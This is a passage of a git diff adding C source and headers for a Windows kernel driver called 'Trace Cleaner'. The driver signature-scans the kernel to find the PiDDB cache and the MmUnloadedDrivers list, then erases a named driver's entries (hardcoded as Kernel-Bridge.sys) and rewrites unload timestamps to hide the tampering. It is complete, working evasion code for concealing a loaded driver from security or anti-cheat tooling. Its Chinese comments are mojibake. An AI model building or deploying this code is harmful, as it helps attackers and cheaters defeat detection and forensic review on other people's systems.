STATUS_NOT_FOUND; + + // ת + MmUnloadedDrivers = *(PMM_UNLOADED_DRIVER*)ResolveRelativeAddress(MmUnloadedDriversInstr, 3, 7); + MmLastUnloadedDriver = (PULONG)ResolveRelativeAddress(MmLastUnloadedDriverInstr, 2, 6); + + log("[clear] : MmUnloadedDrivers Addr: %x", MmUnloadedDrivers); + log("[clear] : MmLastUnloadedDriver Addr: %x", MmLastUnloadedDriver); + return STATUS_SUCCESS; +} + +// жжرʵǷΪ +BOOLEAN IsUnloadedDriverEntryEmpty(_In_ PMM_UNLOADED_DRIVER Entry) +{ + if (Entry->Name.MaximumLength == 0 || + Entry->Name.Length == 0 || + Entry->Name.Buffer == NULL) + return TRUE; + + return FALSE; +} + +// жжرǷ޸Ĺ +BOOLEAN IsMmUnloadedDriversFilled(VOID) +{ + // жб + for (ULONG Index = 0; Index < MM_UNLOADED_DRIVERS_SIZE; ++Index) + { + PMM_UNLOADED_DRIVER Entry = &MmUnloadedDrivers[Index]; + + // пյ,޸Ĺ???? + if (IsUnloadedDriverEntryEmpty(Entry)) + return FALSE; + } + + return TRUE; +} + +ERESOURCE PsLoadedModuleResource; + +namespace clear +{ + // PIDDB + NTSTATUS clearCache(UNICODE_STRING DriverName, ULONG timeDateStamp) + { + // first locate required variables + // ҪҵҪı + PERESOURCE PiDDBLock = nullptr; + PRTL_AVL_TABLE PiDDBCacheTable = nullptr; + if (!LocatePiDDB(&PiDDBLock, &PiDDBCacheTable)) + { + log("[clear] : ClearCache Failed"); + return STATUS_UNSUCCESSFUL; + } + + log("[clear] : Found PiDDBLock and PiDDBCacheTable"); + log("[clear] : Found PiDDBLock %x", PiDDBLock); + log("[clear] : Found PiDDBCacheTable %x", PiDDBCacheTable); + + // build a lookup entry + // һʵ + PiDDBCacheEntry lookupEntry = { }; + lookupEntry.DriverName = DriverName; // Ŀ + lookupEntry.TimeDateStamp = timeDateStamp; // Ŀʱ + + // acquire the ddb resource lock + // + BOOLEAN Res = ExAcquireResourceExclusiveLite(PiDDBLock, TRUE); + if (Res == FALSE) + { + log("[clear] : ExAcquireResourceExclusiveLiteʧ"); + return STATUS_UNSUCCESSFUL; + } + + // search our entry in the table + // ӱв + PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(PiDDBCacheTable, &lookupEntry); + if (pFoundEntry == nullptr) + { + // release the ddb resource lock + ExReleaseResourceLite(PiDDBLock); + log("[clear] : ClearCache Failed (Not found)"); + return STATUS_UNSUCCESSFUL; + } + + // first, unlink from the list + // һǶ + Res = RemoveEntryList(&pFoundEntry->List); + if (Res == FALSE) + { + ExReleaseResourceLite(PiDDBLock); + log("[clear] : RemoveEntryListʧ"); + return STATUS_UNSUCCESSFUL; + } + + // then delete the element from the avl table + // ʹAVLɾԪ + Res = RtlDeleteElementGenericTableAvl(PiDDBCacheTable, pFoundEntry); + if (Res == FALSE) + { + ExReleaseResourceLite(PiDDBLock); + log("[clear] : RtlDeleteElementGenericTableAvlʧ"); + return STATUS_UNSUCCESSFUL; + } + + // release the ddb resource lock + // ͷ + ExReleaseResourceLite(PiDDBLock); + log("[clear] : ClearCache Sucessful"); + + return STATUS_SUCCESS; + } + + // жر + NTSTATUS ClearUnloadedDriver(_In_ PUNICODE_STRING DriverName, _In_ BOOLEAN AccquireResource) + { + // + if (AccquireResource) + ExAcquireResourceExclusiveLite(&PsLoadedModuleResource, TRUE); + + BOOLEAN Modified = FALSE; + BOOLEAN Filled = IsMmUnloadedDriversFilled();// ж,ûNULL + + // жر + for (ULONG Index = 0; Index < MM_UNLOADED_DRIVERS_SIZE; ++Index) + { + PMM_UNLOADED_DRIVER Entry = &MmUnloadedDrivers[Index]; + + // ޸Ĺ,Ҫ޸ + if (Modified) + { + // Shift back all entries after modified one. + // ޸ĺ + PMM_UNLOADED_DRIVER PrevEntry = &MmUnloadedDrivers[Index - 1]; + RtlCopyMemory(PrevEntry, Entry, sizeof(MM_UNLOADED_DRIVER)); + + // Zero last entry. + // һ + if (Index == MM_UNLOADED_DRIVERS_SIZE - 1) + RtlFillMemory(Entry, sizeof(MM_UNLOADED_DRIVER), 0); + } + else if (RtlEqualUnicodeString(DriverName, &Entry->Name, TRUE)) // ҵҪյϢ + { + // Erase driver entry. + // Ƴ豸?ͷһڴ + PVOID BufferPool = Entry->Name.Buffer; + RtlFillMemory(Entry, sizeof(MM_UNLOADED_DRIVER), 0); + ExFreePoolWithTag(BufferPool, 'TDmM'); + + // Because we are erasing last entry we want to set MmLastUnloadedDriver to 49 + // if list have been already filled. + // Ƴһ,ӦҲҪм + *MmLastUnloadedDriver = (Filled ? MM_UNLOADED_DRIVERS_SIZE : *MmLastUnloadedDriver) - 1; + Modified = TRUE; + } + } + + // ޸Ĺ + if (Modified) + { + ULONG64 PreviousTime = 0; + + // Make UnloadTime look right. + // ȷʱ׼ȷ + for (LONG Index = MM_UNLOADED_DRIVERS_SIZE - 2; Index >= 0; --Index) + { + PMM_UNLOADED_DRIVER Entry = &MmUnloadedDrivers[Index]; + + // жϢǿ + if (IsUnloadedDriverEntryEmpty(Entry)) + continue; + + // һԺʱ + if (PreviousTime != 0 && Entry->UnloadTime > PreviousTime) + Entry->UnloadTime = PreviousTime - 100; + + PreviousTime = Entry->UnloadTime; + } + + // Clear remaining entries. + // ʣµ + ClearUnloadedDriver(DriverName, FALSE); + } + + // + if (AccquireResource) + ExReleaseResourceLite(&PsLoadedModuleResource); + + return Modified ? STATUS_SUCCESS : STATUS_NOT_FOUND; + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/struct.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/struct.h" new file mode 100644 index 0000000..386beb5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/struct.h" @@ -0,0 +1,216 @@ +#pragma once + +#include +#include +#include +#include +#include + +typedef unsigned char BYTE; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; // Not filled in + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[MAXIMUM_FILENAME_LENGTH]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +struct PiDDBCacheEntry +{ + LIST_ENTRY List; + UNICODE_STRING DriverName; + ULONG TimeDateStamp; + NTSTATUS LoadStatus; + char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers +}; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0x0, + SystemProcessorInformation = 0x1, + SystemPerformanceInformation = 0x2, + SystemTimeOfDayInformation = 0x3, + SystemPathInformation = 0x4, + SystemProcessInformation = 0x5, + SystemCallCountInformation = 0x6, + SystemDeviceInformation = 0x7, + SystemProcessorPerformanceInformation = 0x8, + SystemFlagsInformation = 0x9, + SystemCallTimeInformation = 0xa, + SystemModuleInformation = 0xb, + SystemLocksInformation = 0xc, + SystemStackTraceInformation = 0xd, + SystemPagedPoolInformation = 0xe, + SystemNonPagedPoolInformation = 0xf, + SystemHandleInformation = 0x10, + SystemObjectInformation = 0x11, + SystemPageFileInformation = 0x12, + SystemVdmInstemulInformation = 0x13, + SystemVdmBopInformation = 0x14, + SystemFileCacheInformation = 0x15, + SystemPoolTagInformation = 0x16, + SystemInterruptInformation = 0x17, + SystemDpcBehaviorInformation = 0x18, + SystemFullMemoryInformation = 0x19, + SystemLoadGdiDriverInformation = 0x1a, + SystemUnloadGdiDriverInformation = 0x1b, + SystemTimeAdjustmentInformation = 0x1c, + SystemSummaryMemoryInformation = 0x1d, + SystemMirrorMemoryInformation = 0x1e, + SystemPerformanceTraceInformation = 0x1f, + SystemObsolete0 = 0x20, + SystemExceptionInformation = 0x21, + SystemCrashDumpStateInformation = 0x22, + SystemKernelDebuggerInformation = 0x23, + SystemContextSwitchInformation = 0x24, + SystemRegistryQuotaInformation = 0x25, + SystemExtendServiceTableInformation = 0x26, + SystemPrioritySeperation = 0x27, + SystemVerifierAddDriverInformation = 0x28, + SystemVerifierRemoveDriverInformation = 0x29, + SystemProcessorIdleInformation = 0x2a, + SystemLegacyDriverInformation = 0x2b, + SystemCurrentTimeZoneInformation = 0x2c, + SystemLookasideInformation = 0x2d, + SystemTimeSlipNotification = 0x2e, + SystemSessionCreate = 0x2f, + SystemSessionDetach = 0x30, + SystemSessionInformation = 0x31, + SystemRangeStartInformation = 0x32, + SystemVerifierInformation = 0x33, + SystemVerifierThunkExtend = 0x34, + SystemSessionProcessInformation = 0x35, + SystemLoadGdiDriverInSystemSpace = 0x36, + SystemNumaProcessorMap = 0x37, + SystemPrefetcherInformation = 0x38, + SystemExtendedProcessInformation = 0x39, + SystemRecommendedSharedDataAlignment = 0x3a, + SystemComPlusPackage = 0x3b, + SystemNumaAvailableMemory = 0x3c, + SystemProcessorPowerInformation = 0x3d, + SystemEmulationBasicInformation = 0x3e, + SystemEmulationProcessorInformation = 0x3f, + SystemExtendedHandleInformation = 0x40, + SystemLostDelayedWriteInformation = 0x41, + SystemBigPoolInformation = 0x42, + SystemSessionPoolTagInformation = 0x43, + SystemSessionMappedViewInformation = 0x44, + SystemHotpatchInformation = 0x45, + SystemObjectSecurityMode = 0x46, + SystemWatchdogTimerHandler = 0x47, + SystemWatchdogTimerInformation = 0x48, + SystemLogicalProcessorInformation = 0x49, + SystemWow64SharedInformationObsolete = 0x4a, + SystemRegisterFirmwareTableInformationHandler = 0x4b, + SystemFirmwareTableInformation = 0x4c, + SystemModuleInformationEx = 0x4d, + SystemVerifierTriageInformation = 0x4e, + SystemSuperfetchInformation = 0x4f, + SystemMemoryListInformation = 0x50, + SystemFileCacheInformationEx = 0x51, + SystemThreadPriorityClientIdInformation = 0x52, + SystemProcessorIdleCycleTimeInformation = 0x53, + SystemVerifierCancellationInformation = 0x54, + SystemProcessorPowerInformationEx = 0x55, + SystemRefTraceInformation = 0x56, + SystemSpecialPoolInformation = 0x57, + SystemProcessIdInformation = 0x58, + SystemErrorPortInformation = 0x59, + SystemBootEnvironmentInformation = 0x5a, + SystemHypervisorInformation = 0x5b, + SystemVerifierInformationEx = 0x5c, + SystemTimeZoneInformation = 0x5d, + SystemImageFileExecutionOptionsInformation = 0x5e, + SystemCoverageInformation = 0x5f, + SystemPrefetchPatchInformation = 0x60, + SystemVerifierFaultsInformation = 0x61, + SystemSystemPartitionInformation = 0x62, + SystemSystemDiskInformation = 0x63, + SystemProcessorPerformanceDistribution = 0x64, + SystemNumaProximityNodeInformation = 0x65, + SystemDynamicTimeZoneInformation = 0x66, + SystemCodeIntegrityInformation = 0x67, + SystemProcessorMicrocodeUpdateInformation = 0x68, + SystemProcessorBrandString = 0x69, + SystemVirtualAddressInformation = 0x6a, + SystemLogicalProcessorAndGroupInformation = 0x6b, + SystemProcessorCycleTimeInformation = 0x6c, + SystemStoreInformation = 0x6d, + SystemRegistryAppendString = 0x6e, + SystemAitSamplingValue = 0x6f, + SystemVhdBootInformation = 0x70, + SystemCpuQuotaInformation = 0x71, + SystemNativeBasicInformation = 0x72, + SystemErrorPortTimeouts = 0x73, + SystemLowPriorityIoInformation = 0x74, + SystemBootEntropyInformation = 0x75, + SystemVerifierCountersInformation = 0x76, + SystemPagedPoolInformationEx = 0x77, + SystemSystemPtesInformationEx = 0x78, + SystemNodeDistanceInformation = 0x79, + SystemAcpiAuditInformation = 0x7a, + SystemBasicPerformanceInformation = 0x7b, + SystemQueryPerformanceCounterInformation = 0x7c, + SystemSessionBigPoolInformation = 0x7d, + SystemBootGraphicsInformation = 0x7e, + SystemScrubPhysicalMemoryInformation = 0x7f, + SystemBadPageInformation = 0x80, + SystemProcessorProfileControlArea = 0x81, + SystemCombinePhysicalMemoryInformation = 0x82, + SystemEntropyInterruptTimingInformation = 0x83, + SystemConsoleInformation = 0x84, + SystemPlatformBinaryInformation = 0x85, + SystemThrottleNotificationInformation = 0x86, + SystemHypervisorProcessorCountInformation = 0x87, + SystemDeviceDataInformation = 0x88, + SystemDeviceDataEnumerationInformation = 0x89, + SystemMemoryTopologyInformation = 0x8a, + SystemMemoryChannelInformation = 0x8b, + SystemBootLogoInformation = 0x8c, + SystemProcessorPerformanceInformationEx = 0x8d, + SystemSpare0 = 0x8e, + SystemSecureBootPolicyInformation = 0x8f, + SystemPageFileInformationEx = 0x90, + SystemSecureBootInformation = 0x91, + SystemEntropyInterruptTimingRawInformation = 0x92, + SystemPortableWorkspaceEfiLauncherInformation = 0x93, + SystemFullProcessInformation = 0x94, + SystemKernelDebuggerInformationEx = 0x95, + SystemBootMetadataInformation = 0x96, + SystemSoftRebootInformation = 0x97, + SystemElamCertificateInformation = 0x98, + SystemOfflineDumpConfigInformation = 0x99, + SystemProcessorFeaturesInformation = 0x9a, + SystemRegistryReconciliationInformation = 0x9b, + MaxSystemInfoClass = 0x9c, +} SYSTEM_INFORMATION_CLASS; + +EXTERN_C NTSYSAPI PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader(IN PVOID ModuleAddress); + +EXTERN_C NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength OPTIONAL); + +#define MM_UNLOADED_DRIVERS_SIZE 50 +typedef struct _MM_UNLOADED_DRIVER +{ + UNICODE_STRING Name; + PVOID ModuleStart; + PVOID ModuleEnd; + ULONG64 UnloadTime; +} MM_UNLOADED_DRIVER, *PMM_UNLOADED_DRIVER; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/v1.0.0/main.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/v1.0.0/main.c" new file mode 100644 index 0000000..3c3381f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/v1.0.0/main.c" @@ -0,0 +1,293 @@ +#include "main.h" + +PVOID64 get_kernel_mode_base(PULONG64 size) +{ + static PVOID64 kernel_addr = NULL; + static ULONG64 kernel_size = 0; + + // ֱӷ + if (kernel_addr && kernel_size) + { + *size = kernel_size; + return kernel_addr; + } + + // NtOpenFileĵַ + UNICODE_STRING routineName = RTL_CONSTANT_STRING(L"NtOpenFile"); + PVOID64 check_ptr = MmGetSystemRoutineAddress(&routineName); + if (check_ptr == NULL) + { + printfs("[Info] : MmGetSystemRoutineAddressʧ"); + return NULL; + } + + // ȡС + ULONG bytes = 0; + NTSTATUS status = ZwQuerySystemInformation(SystemModuleInformation, 0, bytes, &bytes); + if (bytes == 0) + { + printfs("[Info] : ZwQuerySystemInformationʧ"); + return NULL; + } + + // ڴ + PRTL_PROCESS_MODULES modules_ptr = ExAllocatePoolWithTag(NonPagedPool, bytes, 'enoB'); + if (modules_ptr == NULL) + { + printfs("[Info] : ExAllocatePoolWithTagʧ"); + return NULL; + } + + // սṹ + RtlZeroMemory(modules_ptr, bytes); + + // ȡģϢ + status = ZwQuerySystemInformation(SystemModuleInformation, modules_ptr, bytes, &bytes); + if (!NT_SUCCESS(status)) + { + printfs("[Info] : ZwQuerySystemInformationʧ"); + ExFreePoolWithTag(modules_ptr, 'enoB'); + return NULL; + } + + // ʼģ + PRTL_PROCESS_MODULE_INFORMATION mod_ptr = modules_ptr->Modules; + for (ULONG i = 0; i < modules_ptr->NumberOfModules; i++) + { + printfs("[Info] : %d - %s - %x \n", i, mod_ptr[i].FullPathName, mod_ptr[i].ImageBase); + + // ϵͳģ䶨λ,ȷNtOpenFileڵһģ + if (check_ptr >= mod_ptr[i].ImageBase + && check_ptr < (PVOID)((PUCHAR)mod_ptr[i].ImageBase + mod_ptr[i].ImageSize)) + { + // 浽̬ + kernel_addr = mod_ptr[i].ImageBase; + kernel_size = mod_ptr[i].ImageSize; + + // С + *size = kernel_size; + } + } + + // ͷڴ + ExFreePoolWithTag(modules_ptr, 'enoB'); + + // صַ + return kernel_addr; +} + +PVOID64 search_pattern( + PCUCHAR pattern, + UCHAR wildcard, + ULONG_PTR len, + PVOID64 base, + ULONG_PTR size, + INT index) +{ + INT cIndex = 0; + for (ULONG_PTR i = 0; i < size - len; i++) + { + BOOLEAN found = TRUE; + for (ULONG_PTR j = 0; j < len; j++) + { + if (pattern[j] != wildcard && pattern[j] != ((PCUCHAR)base)[i + j]) + { + found = FALSE; + break; + } + } + + if (found != FALSE && cIndex++ == index) + { + return (PUCHAR)base + i; + } + } + + return NULL; +} + +PVOID64 scan_section( + PCCHAR section, + PCUCHAR pattern, + UCHAR wildcard, + ULONG_PTR len, + PVOID64 base) +{ + // ݻַPEļͷָ + PIMAGE_NT_HEADERS64 nt_ptr = RtlImageNtHeader(base); + if (!nt_ptr) + { + printfs("[Info] : RtlImageNtHeader"); + return NULL; + } + + // ҵָ + PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)((uintptr_t)&nt_ptr->FileHeader + nt_ptr->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER)); + + // ʼַ + ANSI_STRING s1; + RtlInitAnsiString(&s1, section); + + // + for (PIMAGE_SECTION_HEADER section_ptr = pFirstSection; + section_ptr < pFirstSection + nt_ptr->FileHeader.NumberOfSections; + section_ptr++) + { + // ʼַ + ANSI_STRING s2; + RtlInitAnsiString(&s2, (PCCHAR)section_ptr->Name); + + // + if (RtlCompareString(&s1, &s2, TRUE) == 0) + { + PVOID64 addr = search_pattern(pattern, wildcard, len, (PUCHAR)base + section_ptr->VirtualAddress, section_ptr->Misc.VirtualSize, 0); + if (addr) return addr; + } + } + + return NULL; +} + +VOID locate_piddb(PPIDDB_INFO info) +{ + // ģʽǩ + static UCHAR PiDDBLockPtr_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C"; + static UCHAR PiDDBCacheTablePtr_sig[] = "\x66\x03\xD2\x48\x8D\x0D"; + + // ȡں˻ַ + ULONG64 size = 0; + PVOID64 base = get_kernel_mode_base(&size); + if (base == NULL) return; + + // ַ + PVOID64 lock_ptr = scan_section("PAGE", PiDDBLockPtr_sig, 0, sizeof(PiDDBLockPtr_sig) - 1, base); + PVOID64 table_ptr = scan_section("PAGE", PiDDBCacheTablePtr_sig, 0, sizeof(PiDDBCacheTablePtr_sig) - 1, base); + if (lock_ptr == NULL || table_ptr == NULL) return; + + // ƫ3 + table_ptr = (PVOID64)((uintptr_t)table_ptr + 3); + + // ȻԵĵַ + info->lock = (PERESOURCE)(resolve_relative_address(lock_ptr, 3, 7)); + info->table = (PRTL_AVL_TABLE)(resolve_relative_address(table_ptr, 3, 7)); +} + +PVOID64 resolve_relative_address(PVOID64 Instruction, ULONG offset, ULONG size) +{ + ULONG_PTR in_str = (ULONG_PTR)Instruction; + LONG rip_offset = *(PLONG)(in_str + offset); + PVOID resolved_addr = (PVOID)(in_str + size + rip_offset); + + return resolved_addr; +} + +BOOLEAN clear_piddb_cache(UNICODE_STRING name, ULONG stamp) +{ + // λṹַ + PIDDB_INFO info; + RtlZeroMemory(&info, sizeof(info)); + locate_piddb(&info); + if (info.lock == NULL || info.table == NULL) return FALSE; + printfs("[Info] : lock address : %x \n", info.lock); + printfs("[Info] : table address : %x \n", info.table); + + // Ϣ + PiDDB_CACHE_ENTRY entry; + RtlZeroMemory(&entry, sizeof(entry)); + entry.DriverName = name; + entry.TimeDateStamp = stamp; + + if (ExAcquireResourceExclusiveLite(info.lock, TRUE))//Դ + { + PPiDDB_CACHE_ENTRY data = RtlLookupElementGenericTableAvl(info.table, &entry);//ӱв + if (data) + { + if (RemoveEntryList(&data->List))//Զ + { + if (RtlDeleteElementGenericTableAvl(info.table, data))//ɾԪ + { + return TRUE; + } + } + } + ExReleaseResourceLite(info.lock);//Խ + } + + return FALSE; +} + +BOOLEAN data_compare(BYTE* data, BYTE* mask, CHAR* str) +{ + for (; *str; ++str, ++data, ++mask) + if (*str == 'x' && *data != *mask) + return 0; + + return (*str) == 0; +} + +DWORD64 find_pattern(DWORD64 addr, DWORD64 len, BYTE* mask, CHAR* str) +{ + for (DWORD64 i = 0; i < len; i++) + if (data_compare((BYTE*)(addr + i), mask, str)) + return (UINT64)(addr + i); + + return 0; +} + +VOID spoof_unload_driver_list() +{ + // ȡں˻ַ + ULONG64 size = 0; + PVOID64 base = get_kernel_mode_base(&size); + if (base == NULL) return; + + // λַ + PVOID64 unloaded_drivers_instr = (PVOID64)find_pattern(base, size, (BYTE*)"\x4C\x8B\x15\x00\x00\x00\x00\x4C\x8B\xC9", "xxx????xxx"); + PVOID64 last_unloaded_driver_instr = (PVOID64)find_pattern(base, size, (BYTE*)"\x8B\x05\x00\x00\x00\x00\x83\xF8\x32", "xx????xxx"); + if (unloaded_drivers_instr == NULL || last_unloaded_driver_instr == NULL) return; + + // Եַ + PMM_UNLOADED_DRIVER unloaded_drivers = *(PMM_UNLOADED_DRIVER*)resolve_relative_address(unloaded_drivers_instr, 3, 7); + PULONG last_unloaded_driver = (PULONG)resolve_relative_address(last_unloaded_driver_instr, 2, 6); + + // ʾжб + printfs("[Info] numbers is : %d \n", *last_unloaded_driver); + + // ж + for (INT i = 0; i < 50; i++) + { + // ȡṹָ + PMM_UNLOADED_DRIVER entry = &unloaded_drivers[i]; + + // ַΪ,ʹû + if (entry->Name.Length == 0) break; + + // ʾַ + printfs("[Info] index : %d \t name : %ws \t time : %d \t module : %x \n", + i, entry->Name.Buffer, entry->UnloadTime, entry->ModuleStart); + } +} + +/* жغ */ +VOID DriverUnload(PDRIVER_OBJECT object) +{ + printfs("[Info] : жسɹ"); +} + +/* ں */ +NTSTATUS DriverEntry(PDRIVER_OBJECT object, PUNICODE_STRING reg) +{ + // жغ + object->DriverUnload = DriverUnload; + + // piddb + UNICODE_STRING name = RTL_CONSTANT_STRING(L"Kernel-Bridge.sys"); + if (clear_piddb_cache(name, 0x354585)) printfs("[Info] : piddb finish"); + else printfs("[Info] : piddb fail"); + + // жб + spoof_unload_driver_list(); + + printfs("[Info] : سɹ"); + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/v1.0.0/main.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/v1.0.0/main.h" new file mode 100644 index 0000000..5d10fd6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/v1.0.0/main.h" @@ -0,0 +1,260 @@ +#pragma once + +/* */ +#pragma warning(disable : 4100) + +#include +#include +#include +#include +#include +#include + +/* ģϢ */ +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; // Not filled in + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[MAXIMUM_FILENAME_LENGTH]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +/* ģṹ */ +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +/* ϵͳϢѯģʽ */ +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0x0, + SystemProcessorInformation = 0x1, + SystemPerformanceInformation = 0x2, + SystemTimeOfDayInformation = 0x3, + SystemPathInformation = 0x4, + SystemProcessInformation = 0x5, + SystemCallCountInformation = 0x6, + SystemDeviceInformation = 0x7, + SystemProcessorPerformanceInformation = 0x8, + SystemFlagsInformation = 0x9, + SystemCallTimeInformation = 0xa, + SystemModuleInformation = 0xb, + SystemLocksInformation = 0xc, + SystemStackTraceInformation = 0xd, + SystemPagedPoolInformation = 0xe, + SystemNonPagedPoolInformation = 0xf, + SystemHandleInformation = 0x10, + SystemObjectInformation = 0x11, + SystemPageFileInformation = 0x12, + SystemVdmInstemulInformation = 0x13, + SystemVdmBopInformation = 0x14, + SystemFileCacheInformation = 0x15, + SystemPoolTagInformation = 0x16, + SystemInterruptInformation = 0x17, + SystemDpcBehaviorInformation = 0x18, + SystemFullMemoryInformation = 0x19, + SystemLoadGdiDriverInformation = 0x1a, + SystemUnloadGdiDriverInformation = 0x1b, + SystemTimeAdjustmentInformation = 0x1c, + SystemSummaryMemoryInformation = 0x1d, + SystemMirrorMemoryInformation = 0x1e, + SystemPerformanceTraceInformation = 0x1f, + SystemObsolete0 = 0x20, + SystemExceptionInformation = 0x21, + SystemCrashDumpStateInformation = 0x22, + SystemKernelDebuggerInformation = 0x23, + SystemContextSwitchInformation = 0x24, + SystemRegistryQuotaInformation = 0x25, + SystemExtendServiceTableInformation = 0x26, + SystemPrioritySeperation = 0x27, + SystemVerifierAddDriverInformation = 0x28, + SystemVerifierRemoveDriverInformation = 0x29, + SystemProcessorIdleInformation = 0x2a, + SystemLegacyDriverInformation = 0x2b, + SystemCurrentTimeZoneInformation = 0x2c, + SystemLookasideInformation = 0x2d, + SystemTimeSlipNotification = 0x2e, + SystemSessionCreate = 0x2f, + SystemSessionDetach = 0x30, + SystemSessionInformation = 0x31, + SystemRangeStartInformation = 0x32, + SystemVerifierInformation = 0x33, + SystemVerifierThunkExtend = 0x34, + SystemSessionProcessInformation = 0x35, + SystemLoadGdiDriverInSystemSpace = 0x36, + SystemNumaProcessorMap = 0x37, + SystemPrefetcherInformation = 0x38, + SystemExtendedProcessInformation = 0x39, + SystemRecommendedSharedDataAlignment = 0x3a, + SystemComPlusPackage = 0x3b, + SystemNumaAvailableMemory = 0x3c, + SystemProcessorPowerInformation = 0x3d, + SystemEmulationBasicInformation = 0x3e, + SystemEmulationProcessorInformation = 0x3f, + SystemExtendedHandleInformation = 0x40, + SystemLostDelayedWriteInformation = 0x41, + SystemBigPoolInformation = 0x42, + SystemSessionPoolTagInformation = 0x43, + SystemSessionMappedViewInformation = 0x44, + SystemHotpatchInformation = 0x45, + SystemObjectSecurityMode = 0x46, + SystemWatchdogTimerHandler = 0x47, + SystemWatchdogTimerInformation = 0x48, + SystemLogicalProcessorInformation = 0x49, + SystemWow64SharedInformationObsolete = 0x4a, + SystemRegisterFirmwareTableInformationHandler = 0x4b, + SystemFirmwareTableInformation = 0x4c, + SystemModuleInformationEx = 0x4d, + SystemVerifierTriageInformation = 0x4e, + SystemSuperfetchInformation = 0x4f, + SystemMemoryListInformation = 0x50, + SystemFileCacheInformationEx = 0x51, + SystemThreadPriorityClientIdInformation = 0x52, + SystemProcessorIdleCycleTimeInformation = 0x53, + SystemVerifierCancellationInformation = 0x54, + SystemProcessorPowerInformationEx = 0x55, + SystemRefTraceInformation = 0x56, + SystemSpecialPoolInformation = 0x57, + SystemProcessIdInformation = 0x58, + SystemErrorPortInformation = 0x59, + SystemBootEnvironmentInformation = 0x5a, + SystemHypervisorInformation = 0x5b, + SystemVerifierInformationEx = 0x5c, + SystemTimeZoneInformation = 0x5d, + SystemImageFileExecutionOptionsInformation = 0x5e, + SystemCoverageInformation = 0x5f, + SystemPrefetchPatchInformation = 0x60, + SystemVerifierFaultsInformation = 0x61, + SystemSystemPartitionInformation = 0x62, + SystemSystemDiskInformation = 0x63, + SystemProcessorPerformanceDistribution = 0x64, + SystemNumaProximityNodeInformation = 0x65, + SystemDynamicTimeZoneInformation = 0x66, + SystemCodeIntegrityInformation = 0x67, + SystemProcessorMicrocodeUpdateInformation = 0x68, + SystemProcessorBrandString = 0x69, + SystemVirtualAddressInformation = 0x6a, + SystemLogicalProcessorAndGroupInformation = 0x6b, + SystemProcessorCycleTimeInformation = 0x6c, + SystemStoreInformation = 0x6d, + SystemRegistryAppendString = 0x6e, + SystemAitSamplingValue = 0x6f, + SystemVhdBootInformation = 0x70, + SystemCpuQuotaInformation = 0x71, + SystemNativeBasicInformation = 0x72, + SystemErrorPortTimeouts = 0x73, + SystemLowPriorityIoInformation = 0x74, + SystemBootEntropyInformation = 0x75, + SystemVerifierCountersInformation = 0x76, + SystemPagedPoolInformationEx = 0x77, + SystemSystemPtesInformationEx = 0x78, + SystemNodeDistanceInformation = 0x79, + SystemAcpiAuditInformation = 0x7a, + SystemBasicPerformanceInformation = 0x7b, + SystemQueryPerformanceCounterInformation = 0x7c, + SystemSessionBigPoolInformation = 0x7d, + SystemBootGraphicsInformation = 0x7e, + SystemScrubPhysicalMemoryInformation = 0x7f, + SystemBadPageInformation = 0x80, + SystemProcessorProfileControlArea = 0x81, + SystemCombinePhysicalMemoryInformation = 0x82, + 